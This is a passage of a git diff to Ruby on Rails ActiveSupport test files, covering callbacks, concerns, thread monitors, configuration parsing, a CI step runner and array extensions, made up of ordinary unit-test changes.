     def initialize
       @history = []
     end
@@ -648,8 +665,9 @@ def save
       end
     end
 
-    def halted_callback_hook(filter)
+    def halted_callback_hook(filter, name)
       @halted = filter
+      @callback_name = name
     end
   end
 
@@ -832,12 +850,13 @@ def test_termination_invokes_hook
       terminator = CallbackTerminator.new
       terminator.save
       assert_equal :second, terminator.halted
+      assert_equal :save, terminator.callback_name
     end
 
     def test_block_never_called_if_terminated
       obj = CallbackTerminator.new
       obj.save
-      assert !obj.saved
+      assert_not obj.saved
     end
   end
 
@@ -865,7 +884,7 @@ def test_default_termination_invokes_hook
     def test_block_never_called_if_abort_is_thrown
       obj = CallbackDefaultTerminator.new
       obj.save
-      assert !obj.saved
+      assert_not obj.saved
     end
   end
 
@@ -961,7 +980,7 @@ def test_proc_arity_1
 
     def test_proc_arity_2
       assert_raises(ArgumentError) do
-        klass = build_class(->(x, y) {})
+        klass = build_class(->(x, y) { })
         klass.new.run
       end
     end
@@ -997,6 +1016,7 @@ def test_class_conditional_with_scope
         define_callbacks :foo, scope: [:name]
         set_callback :foo, :before, :foo, if: callback
         def run; run_callbacks :foo; end
+
         private
           def foo; end
       }
@@ -1040,7 +1060,7 @@ def test_proc_arity1
 
     def test_proc_arity2
       assert_raises(ArgumentError) do
-        object = build_class(->(a, b) {}).new
+        object = build_class(->(a, b) { }).new
         object.run
       end
     end
@@ -1134,15 +1154,6 @@ def test_skip_class # removes one at a time
       }
     end
 
-    def test_skip_lambda # raises error
-      calls = []
-      callback = ->(o) { calls << o }
-      klass = build_class(callback)
-      assert_raises(ArgumentError) { klass.skip callback }
-      klass.new.run
-      assert_equal 10, calls.length
-    end
-
     def test_skip_symbol # removes all
       calls = []
       klass = build_class(:bar)
@@ -1180,14 +1191,15 @@ def test_skip_without_raise # removes nothing
     end
   end
 
-  class DeprecatedWarningTest < ActiveSupport::TestCase
-    def test_deprecate_string_conditional_options
+  class NotSupportedStringConditionalTest < ActiveSupport::TestCase
+    def test_string_conditional_options
       klass = Class.new(Record)
 
-      assert_deprecated { klass.before_save :tweedle, if: "true" }
-      assert_deprecated { klass.after_save :tweedle, unless: "false" }
-      assert_deprecated { klass.skip_callback :save, :before, :tweedle, if: "true" }
-      assert_deprecated { klass.skip_callback :save, :after, :tweedle, unless: "false" }
+      assert_raises(ArgumentError) { klass.before_save :tweedle, if: ["true"] }
+      assert_raises(ArgumentError) { klass.before_save :tweedle, if: "true" }
+      assert_raises(ArgumentError) { klass.after_save :tweedle, unless: "false" }
+      assert_raises(ArgumentError) { klass.skip_callback :save, :before, :tweedle, if: "true" }
+      assert_raises(ArgumentError) { klass.skip_callback :save, :after, :tweedle, unless: "false" }
     end
   end
 
@@ -1200,4 +1212,76 @@ def test_passing_string_callback_is_not_permitted
       end
     end
   end
+
+  class AllSaveCallbacks
+    include ActiveSupport::Callbacks
+
+    attr_reader :history
+    define_callbacks :save
+
+    def initialize
+      @history = []
+    end
+
+    set_callback :save, :before, :before_save_1
+    set_callback :save, :before, :before_save_2
+    set_callback :save, :around, :around_save_1
+    set_callback :save, :around, :around_save_2
+    set_callback :save, :after, :after_save_1
+    set_callback :save, :after, :after_save_2
+
+    def before_save_1
+      @history << __method__.to_s
+    end
+
+    def before_save_2
+      @history <<  __method__.to_s
+    end
+
+    def around_save_1
+      @history <<  __method__.to_s + "_before"
+      yield
+      @history <<  __method__.to_s + "_after"
+    end
+
+    def around_save_2
+      @history <<  __method__.to_s + "_before"
+      yield
+      @history <<  __method__.to_s + "_after"
+    end
+
+    def after_save_1
+      @history <<  __method__.to_s
+    end
+
+    def after_save_2
+      @history <<  __method__.to_s
+    end
+  end
+
+  class RunSpecificCallbackTest < ActiveSupport::TestCase
+    def test_run_callbacks_only_before
+      klass = AllSaveCallbacks.new
+      klass.run_callbacks :save, :before
+      assert_equal ["before_save_1", "before_save_2"], klass.history
+    end
+
+    def test_run_callbacks_only_around
+      klass = AllSaveCallbacks.new
+      klass.run_callbacks :save, :around
+      assert_equal [
+        "around_save_1_before",
+        "around_save_2_before",
+        "around_save_2_after",
+        "around_save_1_after"
+        ],
+        klass.history
+    end
+
+    def test_run_callbacks_only_after
+      klass = AllSaveCallbacks.new
+      klass.run_callbacks :save, :after
+      assert_equal ["after_save_2", "after_save_1"], klass.history
+    end
+  end
 end
diff --git a/activesupport/test/class_cache_test.rb b/activesupport/test/class_cache_test.rb
deleted file mode 100644
index 004b4dc9ce739..0000000000000
--- a/activesupport/test/class_cache_test.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-require "abstract_unit"
-require "active_support/dependencies"
-
-module ActiveSupport
-  module Dependencies
-    class ClassCacheTest < ActiveSupport::TestCase
-      def setup
-        @cache = ClassCache.new
-      end
-
-      def test_empty?
-        assert @cache.empty?
-        @cache.store(ClassCacheTest)
-        assert !@cache.empty?
-      end
-
-      def test_clear!
-        assert @cache.empty?
-        @cache.store(ClassCacheTest)
-        assert !@cache.empty?
-        @cache.clear!
-        assert @cache.empty?
-      end
-
-      def test_set_key
-        @cache.store(ClassCacheTest)
-        assert @cache.key?(ClassCacheTest.name)
-      end
-
-      def test_get_with_class
-        @cache.store(ClassCacheTest)
-        assert_equal ClassCacheTest, @cache.get(ClassCacheTest)
-      end
-
-      def test_get_with_name
-        @cache.store(ClassCacheTest)
-        assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
-      end
-
-      def test_get_constantizes
-        assert @cache.empty?
-        assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
-      end
-
-      def test_get_constantizes_fails_on_invalid_names
-        assert @cache.empty?
-        assert_raise NameError do
-          @cache.get("OmgTotallyInvalidConstantName")
-        end
-      end
-
-      def test_get_alias
-        assert @cache.empty?
-        assert_equal @cache[ClassCacheTest.name], @cache.get(ClassCacheTest.name)
-      end
-
-      def test_safe_get_constantizes
-        assert @cache.empty?
-        assert_equal ClassCacheTest, @cache.safe_get(ClassCacheTest.name)
-      end
-
-      def test_safe_get_constantizes_doesnt_fail_on_invalid_names
-        assert @cache.empty?
-        assert_nil @cache.safe_get("OmgTotallyInvalidConstantName")
-      end
-
-      def test_new_rejects_strings
-        @cache.store ClassCacheTest.name
-        assert !@cache.key?(ClassCacheTest.name)
-      end
-
-      def test_store_returns_self
-        x = @cache.store ClassCacheTest
-        assert_equal @cache, x
-      end
-    end
-  end
-end
diff --git a/activesupport/test/clean_backtrace_test.rb b/activesupport/test/clean_backtrace_test.rb
deleted file mode 100644
index 5ed518cdb07ed..0000000000000
--- a/activesupport/test/clean_backtrace_test.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require "abstract_unit"
-
-class BacktraceCleanerFilterTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_filter { |line| line.gsub("/my/prefix", "") }
-  end
-
-  test "backtrace should filter all lines in a backtrace, removing prefixes" do
-    assert_equal \
-        ["/my/class.rb", "/my/module.rb"],
-        @bc.clean(["/my/prefix/my/class.rb", "/my/prefix/my/module.rb"])
-  end
-
-  test "backtrace cleaner should allow removing filters" do
-    @bc.remove_filters!
-    assert_equal "/my/prefix/my/class.rb", @bc.clean(["/my/prefix/my/class.rb"]).first
-  end
-
-  test "backtrace should contain unaltered lines if they dont match a filter" do
-    assert_equal "/my/other_prefix/my/class.rb", @bc.clean([ "/my/other_prefix/my/class.rb" ]).first
-  end
-end
-
-class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_silencer { |line| line.include?("mongrel") }
-  end
-
-  test "backtrace should not contain lines that match the silencer" do
-    assert_equal \
-      [ "/other/class.rb" ],
-      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
-  end
-
-  test "backtrace cleaner should allow removing silencer" do
-    @bc.remove_silencers!
-    assert_equal ["/mongrel/stuff.rb"], @bc.clean(["/mongrel/stuff.rb"])
-  end
-end
-
-class BacktraceCleanerMultipleSilencersTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_silencer { |line| line.include?("mongrel") }
-    @bc.add_silencer { |line| line.include?("yolo") }
-  end
-
-  test "backtrace should not contain lines that match the silencers" do
-    assert_equal \
-      [ "/other/class.rb" ],
-      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ])
-  end
-
-  test "backtrace should only contain lines that match the silencers" do
-    assert_equal \
-      [ "/mongrel/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
-      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
-                :noise)
-  end
-end
-
-class BacktraceCleanerFilterAndSilencerTest < ActiveSupport::TestCase
-  def setup
-    @bc = ActiveSupport::BacktraceCleaner.new
-    @bc.add_filter   { |line| line.gsub("/mongrel", "") }
-    @bc.add_silencer { |line| line.include?("mongrel") }
-  end
-
-  test "backtrace should not silence lines that has first had their silence hook filtered out" do
-    assert_equal [ "/class.rb" ], @bc.clean([ "/mongrel/class.rb" ])
-  end
-end
diff --git a/activesupport/test/clean_logger_test.rb b/activesupport/test/clean_logger_test.rb
index cf37fc56395c5..afcd8c12685a0 100644
--- a/activesupport/test/clean_logger_test.rb
+++ b/activesupport/test/clean_logger_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "stringio"
 require "active_support/logger"
 
@@ -18,7 +20,7 @@ def test_datetime_format
     @logger.formatter.datetime_format = "%Y-%m-%d"
     @logger.debug "debug"
     assert_equal "%Y-%m-%d", @logger.formatter.datetime_format
-    assert_match(/D, \[\d\d\d\d-\d\d-\d\d#\d+\] DEBUG -- : debug/, @out.string)
+    assert_match(/D, \[\d\d\d\d-\d\d-\d\d[ ]?#\d+\] DEBUG -- : debug/, @out.string)
   end
 
   def test_nonstring_formatting
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index 7a5a5414a766e..7b5b434f9dca6 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/concern"
 
 class ConcernTest < ActiveSupport::TestCase
@@ -6,23 +8,21 @@ module Baz
     extend ActiveSupport::Concern
 
     class_methods do
+      attr_accessor :included_ran, :prepended_ran
+
       def baz
         "baz"
       end
-
-      def included_ran=(value)
-        @@included_ran = value
-      end
-
-      def included_ran
-        @@included_ran
-      end
     end
 
     included do
       self.included_ran = true
     end
 
+    prepended do
+      self.prepended_ran = true
+    end
+
     def baz
       "baz"
     end
@@ -69,12 +69,24 @@ def test_module_is_included_normally
     assert_includes @klass.included_modules, ConcernTest::Baz
   end
 
+  def test_module_is_prepended_normally
+    @klass.prepend(Baz)
+    assert_equal "baz", @klass.new.baz
+    assert_includes @klass.included_modules, ConcernTest::Baz
+  end
+
   def test_class_methods_are_extended
     @klass.include(Baz)
     assert_equal "baz", @klass.baz
     assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; included_modules; end)[0]
   end
 
+  def test_class_methods_are_extended_when_prepended
+    @klass.prepend(Baz)
+    assert_equal "baz", @klass.baz
+    assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; included_modules; end)[0]
+  end
+
   def test_class_methods_are_extended_only_on_expected_objects
     ::Object.include(Qux)
     Object.extend(Qux::ClassMethods)
@@ -89,7 +101,7 @@ def test
       end
     end
     @klass.include test_module
-    assert_equal false, Object.respond_to?(:test)
+    assert_not_respond_to Object, :test
     Qux.class_eval do
       remove_const :ClassMethods
     end
@@ -100,6 +112,21 @@ def test_included_block_is_ran
     assert_equal true, @klass.included_ran
   end
 
+  def test_included_block_is_not_ran_when_prepended
+    @klass.prepend(Baz)
+    assert_nil @klass.included_ran
+  end
+
+  def test_prepended_block_is_ran
+    @klass.prepend(Baz)
+    assert_equal true, @klass.prepended_ran
+  end
+
+  def test_prepended_block_is_not_ran_when_included
+    @klass.include(Baz)
+    assert_nil @klass.prepended_ran
+  end
+
   def test_modules_dependencies_are_met
     @klass.include(Bar)
     assert_equal "bar", @klass.new.bar
@@ -113,6 +140,11 @@ def test_dependencies_with_multiple_modules
     assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
   end
 
+  def test_dependencies_with_multiple_modules_when_prepended
+    @klass.prepend(Foo)
+    assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
+  end
+
   def test_raise_on_multiple_included_calls
     assert_raises(ActiveSupport::Concern::MultipleIncludedBlocks) do
       Module.new do
@@ -126,4 +158,56 @@ def test_raise_on_multiple_included_calls
       end
     end
   end
+
+  def test_raise_on_multiple_prepended_calls
+    assert_raises(ActiveSupport::Concern::MultiplePrependBlocks) do
+      Module.new do
+        extend ActiveSupport::Concern
+
+        prepended do
+        end
+
+        prepended do
+        end
+      end
+    end
+  end
+
+  def test_no_raise_on_same_included_or_prepended_call
+    assert_nothing_raised do
+      2.times do
+        load File.expand_path("../fixtures/concern/some_concern.rb", __FILE__)
+      end
+    end
+  end
+
+  def test_prepended_and_included_methods
+    included = Module.new.extend(ActiveSupport::Concern)
+    prepended = Module.new.extend(ActiveSupport::Concern)
+
+    @klass.class_eval { def initialize; @foo = []; end }
+    included.module_eval { def foo; @foo << :included; end }
+    @klass.class_eval { def foo; super; @foo << :class; end }
+    prepended.module_eval { def foo; super; @foo << :prepended; end }
+
+    @klass.include included
+    @klass.prepend prepended
+
+    assert_equal [:included, :class, :prepended], @klass.new.foo
+  end
+
+  def test_prepended_and_included_class_methods
+    included = Module.new.extend(ActiveSupport::Concern)
+    prepended = Module.new.extend(ActiveSupport::Concern)
+
+    @klass.class_eval { @foo = [] }
+    included.class_methods { def foo; @foo << :included; end } # rubocop:disable Lint/NestedMethodDefinition
+    @klass.class_eval { def self.foo; super; @foo << :class; end }
+    prepended.class_methods { def foo; super; @foo << :prepended; end } # rubocop:disable Lint/NestedMethodDefinition
+
+    @klass.include included
+    @klass.prepend prepended
+
+    assert_equal [:included, :class, :prepended], @klass.foo
+  end
 end
diff --git a/activesupport/test/concurrency/load_interlock_aware_monitor_test.rb b/activesupport/test/concurrency/load_interlock_aware_monitor_test.rb
new file mode 100644
index 0000000000000..1a744376f1904
--- /dev/null
+++ b/activesupport/test/concurrency/load_interlock_aware_monitor_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/concurrency/load_interlock_aware_monitor"
+
+module ActiveSupport
+  module Concurrency
+    class LoadInterlockAwareMonitorTest < ActiveSupport::TestCase
+      def test_deprecated_constant_resolves_to_monitor
+        monitor = nil
+        assert_deprecated(/ActiveSupport::Concurrency::LoadInterlockAwareMonitor is deprecated/, ActiveSupport.deprecator) do
+          monitor = LoadInterlockAwareMonitor.new
+        end
+        assert_instance_of ::Monitor, monitor
+      end
+
+      def test_deprecated_constant_can_synchronize
+        assert_deprecated(/ActiveSupport::Concurrency::LoadInterlockAwareMonitor is deprecated/, ActiveSupport.deprecator) do
+          monitor = LoadInterlockAwareMonitor.new
+          result = nil
+          monitor.synchronize do
+            result = 42
+          end
+          assert_equal 42, result
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/concurrency/thread_monitor_test.rb b/activesupport/test/concurrency/thread_monitor_test.rb
new file mode 100644
index 0000000000000..ee08c83703c4f
--- /dev/null
+++ b/activesupport/test/concurrency/thread_monitor_test.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "concurrent/atomic/count_down_latch"
+require "active_support/concurrency/thread_monitor"
+
+module ActiveSupport
+  module Concurrency
+    class ThreadMonitorTest < ActiveSupport::TestCase
+      def setup
+        @monitor = ThreadMonitor.new
+      end
+
+      def test_synchronize_blocks_other_threads
+        blocked = false
+        ready_latch = Concurrent::CountDownLatch.new
+        blocked_latch = Concurrent::CountDownLatch.new
+
+        thread1 = Thread.new do
+          @monitor.synchronize do
+            ready_latch.count_down
+            blocked_latch.wait
+            sleep 0.1
+          end
+        end
+
+        thread2 = Thread.new do
+          ready_latch.wait
+          @monitor.synchronize do
+            blocked = true
+          end
+        end
+
+        sleep 0.05 # Give thread2 time to try to acquire the lock
+        assert_not blocked, "Thread should be blocked waiting for monitor"
+
+        blocked_latch.count_down
+        thread1.join
+        thread2.join
+
+        assert blocked, "Thread should have acquired monitor after first thread released it"
+      end
+
+      def test_reentrant_locking
+        count = 0
+        @monitor.synchronize do
+          count += 1
+          @monitor.synchronize do
+            count += 1
+            @monitor.synchronize do
+              count += 1
+            end
+          end
+        end
+        assert_equal 3, count
+      end
+
+      def test_lock_owned_by_current_thread
+        @monitor.synchronize do
+          # Test that we can create an enumerator that also tries to acquire the lock
+          # This should work because the same thread already owns the lock
+          enumerator = Enumerator.new do |yielder|
+            @monitor.synchronize do
+              yielder.yield 42
+            end
+          end
+          assert_equal 42, enumerator.next
+        end
+      end
+
+      def test_exception_handling_releases_lock
+        exception_raised = false
+        subsequent_lock_acquired = false
+
+        begin
+          @monitor.synchronize do
+            raise StandardError, "test exception"
+          end
+        rescue StandardError
+          exception_raised = true
+        end
+
+        assert exception_raised
+
+        # Ensure the lock was properly released
+        @monitor.synchronize do
+          subsequent_lock_acquired = true
+        end
+
+        assert subsequent_lock_acquired
+      end
+
+      def test_thread_error_on_wrong_thread_unlock
+        @monitor.synchronize do
+          thread = Thread.new do
+            assert_raises(ThreadError) do
+              @monitor.send(:mon_exit)
+            end
+          end
+          thread.join
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index 3cd6d2d4d090b..fc7ebe5812986 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -1,5 +1,10 @@
-require "abstract_unit"
-require "active_support/configurable"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+ActiveSupport.deprecator.silence do
+  require "active_support/configurable"
+end
 
 class ConfigurableActiveSupport < ActiveSupport::TestCase
   class Parent
@@ -41,14 +46,14 @@ class Child < Parent
   test "configuration accessors are not available on instance" do
     instance = Parent.new
 
-    assert !instance.respond_to?(:bar)
-    assert !instance.respond_to?(:bar=)
+    assert_not_respond_to instance, :bar
+    assert_not_respond_to instance, :bar=
 
-    assert !instance.respond_to?(:baz)
-    assert !instance.respond_to?(:baz=)
+    assert_not_respond_to instance, :baz
+    assert_not_respond_to instance, :baz=
   end
 
-  test "configuration accessors can take a default value" do
+  test "configuration accessors can take a default value as a block" do
     parent = Class.new do
       include ActiveSupport::Configurable
       config_accessor :hair_colors, :tshirt_colors do
@@ -60,6 +65,15 @@ class Child < Parent
     assert_equal [:black, :blue, :white], parent.tshirt_colors
   end
 
+  test "configuration accessors can take a default value as an option" do
+    parent = Class.new do
+      include ActiveSupport::Configurable
+      config_accessor :foo, default: :bar
+    end
+
+    assert_equal :bar, parent.foo
+  end
+
   test "configuration hash is available on instance" do
     instance = Parent.new
     assert_equal :bar, instance.config.foo
diff --git a/activesupport/test/configuration_file_test.rb b/activesupport/test/configuration_file_test.rb
new file mode 100644
index 0000000000000..7993f850f5c2a
--- /dev/null
+++ b/activesupport/test/configuration_file_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class ConfigurationFileTest < ActiveSupport::TestCase
+  test "backtrace contains YAML path" do
+    Tempfile.create do |file|
+      file.write("wrong: <%= foo %>")
+      file.flush
+
+      error = assert_raises do
+        ActiveSupport::ConfigurationFile.parse(file.path)
+      end
+
+      assert_match file.path, error.backtrace.first
+    end
+  end
+
+  test "backtrace contains YAML path (when Pathname given)" do
+    Tempfile.create do |file|
+      file.write("wrong: <%= foo %>")
+      file.flush
+
+      error = assert_raises do
+        ActiveSupport::ConfigurationFile.parse(Pathname(file.path))
+      end
+
+      assert_match file.path, error.backtrace.first
+    end
+  end
+
+  test "load raw YAML" do
+    Tempfile.create do |file|
+      file.write("ok: 42")
+      file.flush
+
+      data = ActiveSupport::ConfigurationFile.parse(Pathname(file.path))
+      assert_equal({ "ok" => 42 }, data)
+    end
+  end
+end
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
index 32b720bcbbcde..a7a93dc6a52ca 100644
--- a/activesupport/test/constantize_test_cases.rb
+++ b/activesupport/test/constantize_test_cases.rb
@@ -1,4 +1,6 @@
-require "dependencies_test_helpers"
+# frozen_string_literal: true
+
+require_relative "constantize_test_helpers"
 
 module Ace
   module Base
@@ -25,7 +27,7 @@ class Dice
 end
 
 module ConstantizeTestCases
-  include DependenciesTestHelpers
+  include ConstantizeTestHelpers
 
   def run_constantize_tests_on
     assert_equal Ace::Base::Case, yield("Ace::Base::Case")
@@ -73,11 +75,6 @@ def run_constantize_tests_on
         yield("RaisesNoMethodError")
       end
     end
-
-    with_autoloading_fixtures do
-      yield("Prepend::SubClassConflict")
-      assert_equal "constant", defined?(Prepend::SubClassConflict)
-    end
   end
 
   def run_safe_constantize_tests_on
@@ -110,6 +107,12 @@ def run_safe_constantize_tests_on
     assert_nil yield("A::Object::B")
     assert_nil yield("A::Object::Object::Object::B")
 
+    assert_raises(LoadError) do
+      with_autoloading_fixtures do
+        yield("RaisesLoadError")
+      end
+    end
+
     assert_raises(NameError) do
       with_autoloading_fixtures do
         yield("RaisesNameError")
diff --git a/activesupport/test/constantize_test_helpers.rb b/activesupport/test/constantize_test_helpers.rb
new file mode 100644
index 0000000000000..e6e7afe84e473
--- /dev/null
+++ b/activesupport/test/constantize_test_helpers.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ConstantizeTestHelpers
+  ROOT_DIR  = File.realpath("#{__dir__}/autoloading_fixtures")
+  AUTOLOADS = {
+    "RaisesLoadError"     => "#{ROOT_DIR}/raises_load_error",
+    "RaisesNameError"     => "#{ROOT_DIR}/raises_name_error",
+    "RaisesNoMethodError" => "#{ROOT_DIR}/raises_no_method_error"
+  }
+
+  def with_autoloading_fixtures
+    define_autoloads
+    yield
+  ensure
+    remove_autoloads
+  end
+
+  def define_autoloads
+    AUTOLOADS.each do |constant, realpath|
+      Object.autoload(constant, realpath)
+    end
+  end
+
+  def remove_autoloads
+    AUTOLOADS.each do |constant, realpath|
+      Object.send(:remove_const, constant) if Object.const_defined?(constant)
+      $LOADED_FEATURES.delete(realpath)
+    end
+  end
+end
diff --git a/activesupport/test/continuous_integration_test.rb b/activesupport/test/continuous_integration_test.rb
new file mode 100644
index 0000000000000..31e8466c0a756
--- /dev/null
+++ b/activesupport/test/continuous_integration_test.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/continuous_integration"
+
+class ContinuousIntegrationTest < ActiveSupport::TestCase
+  setup { @CI = ActiveSupport::ContinuousIntegration.new }
+
+  test "successful step" do
+    output = capture_io { @CI.step "Success!", "true" }.to_s
+    assert_match(/Success! passed/, output)
+    assert @CI.success?
+  end
+
+  test "failed step" do
+    output = capture_io { @CI.step "Failed!", "false" }.to_s
+    assert_match(/Failed! failed/, output)
+    assert_not @CI.success?
+  end
+
+  test "report with only successful steps combined gives success" do
+    output = capture_io do
+      @CI.report("CI") do
+        step "Success!", "true"
+        step "Success again!", "true"
+      end
+    end.to_s
+
+    assert_match(/CI passed/, output)
+    assert @CI.success?
+  end
+
+  test "report with successful and failed steps combined gives failure" do
+    output = capture_io do
+      @CI.report("CI") do
+        step "Success!", "true"
+        step "Failed!", "false"
+      end
+    end.to_s
+
+    assert_match(/CI failed/, output)
+    assert_not @CI.success?
+  end
+
+  test "report with successful and failed steps combined presents a failure summary" do
+    output = capture_io do
+      @CI.report("CI") do
+        step "Success!", "true"
+        step "Failed!", "false"
+        step "Also success!", "true"
+        step "Also failed!", "false"
+      end
+    end.to_s
+
+    assert_no_match(/↳ Success/, output)
+    assert_no_match(/↳ Also success/, output)
+    assert_match(/↳ Failed! failed/, output)
+    assert_match(/↳ Also failed! failed/, output)
+  end
+
+  test "report with only one failing step does not print a failure summary" do
+    output = capture_io do
+      @CI.report("CI") do
+        step "Failed!", "false"
+      end
+    end.to_s
+
+    assert_no_match(/↳ Failed/, output)
+  end
+
+  test "echo uses terminal coloring" do
+    output = capture_io { @CI.echo "Hello", type: :success }.first.to_s
+    assert_equal "\e[1;32mHello\e[0m\n", output
+  end
+
+  test "heading" do
+    output = capture_io { @CI.heading "Hello", "To all of you" }.first.to_s
+    assert_match(/Hello[\s\S]*To all of you/, output)
+  end
+
+  test "failure output" do
+    output = capture_io { @CI.failure "This sucks", "But such is the life of programming sometimes" }.first.to_s
+    assert_equal "\e[1;31m\n\nThis sucks\e[0m\n\e[1;90mBut such is the life of programming sometimes\n\e[0m\n", output
+  end
+
+  %w[-f --fail-fast].each do |flag|
+    test "report aborts immediately on failure with #{flag} flag" do
+      output = with_argv([flag]) do
+        capture_io do
+          assert_raises SystemExit do
+            @CI.report("CI") do
+              step "Success!", "true"
+              step "Failed!", "false"
+              step "Should not run", "true"
+            end
+          end
+        end
+      end.to_s
+
+      assert_no_match(/Should not run/, output)
+    end
+  end
+
+  private
+    def with_argv(argv)
+      original_argv = ARGV.dup
+      ARGV.replace(argv)
+
+      yield
+    ensure
+      ARGV.replace(original_argv)
+    end
+end
diff --git a/activesupport/test/core_ext/array/access_test.rb b/activesupport/test/core_ext/array/access_test.rb
index a38ea36d00680..275f8548e1905 100644
--- a/activesupport/test/core_ext/array/access_test.rb
+++ b/activesupport/test/core_ext/array/access_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/array"
 
 class AccessTest < ActiveSupport::TestCase
@@ -30,6 +32,18 @@ def test_specific_accessor
     assert_equal array[-2], array.second_to_last
   end
 
+  def test_including
+    assert_equal [1, 2, 3, 4, 5], [1, 2, 4].including(3, 5).sort
+    assert_equal [1, 2, 3, 4, 5], [1, 2, 4].including([3, 5]).sort
+    assert_equal [[0, 1], [1, 0]], [[0, 1]].including([[1, 0]])
+  end
+
+  def test_excluding
+    assert_equal [1, 2, 4], [1, 2, 3, 4, 5].excluding(3, 5)
+    assert_equal [1, 2, 4], [1, 2, 3, 4, 5].excluding([3, 5])
+    assert_equal [[0, 1]], [[0, 1], [1, 0]].excluding([[1, 0]])
+  end
+
   def test_without
     assert_equal [1, 2, 4], [1, 2, 3, 4, 5].without(3, 5)
   end
diff --git a/activesupport/test/core_ext/array/conversions_test.rb b/activesupport/test/core_ext/array/conversions_test.rb
index 29e661a99bfb1..80b18c6af7f41 100644
--- a/activesupport/test/core_ext/array/conversions_test.rb
+++ b/activesupport/test/core_ext/array/conversions_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/array"
 require "active_support/core_ext/big_decimal"
 require "active_support/core_ext/hash"
@@ -58,7 +60,7 @@ def test_with_invalid_options
       ["one", "two"].to_sentence(passing: "invalid option")
     end
 
-    assert_equal exception.message, "Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale"
+    assert_equal "Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale", exception.message
   end
 
   def test_always_returns_string
@@ -66,21 +68,39 @@ def test_always_returns_string
     assert_instance_of String, [ActiveSupport::SafeBuffer.new("one"), "two"].to_sentence
     assert_instance_of String, [ActiveSupport::SafeBuffer.new("one"), "two", "three"].to_sentence
   end
+
+  def test_returns_no_frozen_string
+    assert_not [].to_sentence.frozen?
+    assert_not ["one"].to_sentence.frozen?
+    assert_not ["one", "two"].to_sentence.frozen?
+    assert_not ["one", "two", "three"].to_sentence.frozen?
+  end
 end
 
-class ToSTest < ActiveSupport::TestCase
+class ToFsTest < ActiveSupport::TestCase
   class TestDB
-    @@counter = 0
+    def self.reset
+      @@counter = 0
+    end
+
+    reset
+
     def id
       @@counter += 1
     end
   end
 
-  def test_to_s_db
+  setup do
+    TestDB.reset
+  end
+
+  def test_to_fs_db
     collection = [TestDB.new, TestDB.new, TestDB.new]
 
-    assert_equal "null", [].to_s(:db)
-    assert_equal "1,2,3", collection.to_s(:db)
+    assert_equal "null", [].to_fs(:db)
+    assert_equal "1,2,3", collection.to_fs(:db)
+    assert_equal "null", [].to_formatted_s(:db)
+    assert_equal "4,5,6", collection.to_formatted_s(:db)
   end
 end
 
@@ -88,7 +108,7 @@ class ToXmlTest < ActiveSupport::TestCase
   def test_to_xml_with_hash_elements
     xml = [
       { name: "David", age: 26, age_in_millis: 820497600000 },
-      { name: "Jason", age: 31, age_in_millis: BigDecimal.new("1.0") }
+      { name: "Jason", age: 31, age_in_millis: BigDecimal("1.0") }
     ].to_xml(skip_instruct: true, indent: 0)
 
     assert_equal '<objects type="array"><object>', xml.first(30)
@@ -171,7 +191,7 @@ def test_to_xml_with_dasherize_true
   def test_to_xml_with_instruct
     xml = [
       { name: "David", age: 26, age_in_millis: 820497600000 },
-      { name: "Jason", age: 31, age_in_millis: BigDecimal.new("1.0") }
+      { name: "Jason", age: 31, age_in_millis: BigDecimal("1.0") }
     ].to_xml(skip_instruct: false, indent: 0)
 
     assert_match(/^<\?xml [^>]*/, xml)
@@ -181,7 +201,7 @@ def test_to_xml_with_instruct
   def test_to_xml_with_block
     xml = [
       { name: "David", age: 26, age_in_millis: 820497600000 },
-      { name: "Jason", age: 31, age_in_millis: BigDecimal.new("1.0") }
